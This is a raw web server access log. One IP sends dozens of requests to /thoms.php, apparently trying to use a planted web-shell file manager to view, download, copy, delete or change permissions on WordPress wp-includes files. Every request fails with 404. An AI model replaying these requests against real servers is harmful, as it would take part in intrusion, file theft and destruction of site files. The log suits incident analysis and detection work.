45.135.193.11 - - [11/Sep/2026:23:52:00 -0400] "GET /thoms.php?chmod=abilities-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?dl=utf8.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=utf8.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?del=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-gd.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fdefault-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fformatting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fformatting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?chmod=author-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=author-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?del=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?del=fonts&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?chmod=ai-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:01 -0400] "GET /thoms.php?dl=view-config.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?dl=date.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=date.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=load.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Ftheme-compat HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Ftheme-compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Frest-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Frest-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?chmod=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-patterns-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-supports.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-supports.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?chmod=sitemaps&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-block-styles-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-customize-panel.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?chmod=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-embed.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:02 -0400] "GET /thoms.php?del=ai-client.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ai-client.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-requests.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-requests.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?chmod=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-xmlrpc-server.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?del=cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?del=class-requests.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-processor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-block-processor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-simplepie-sanitize-kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fai-client HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes%2Fai-client" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:03 -0400] "GET /thoms.php?del=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-duotone.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-error.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-error.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ficons.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Ficons.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcategory-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcategory-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:52:04 -0400] "GET /thoms.php?dl=option.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=option.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
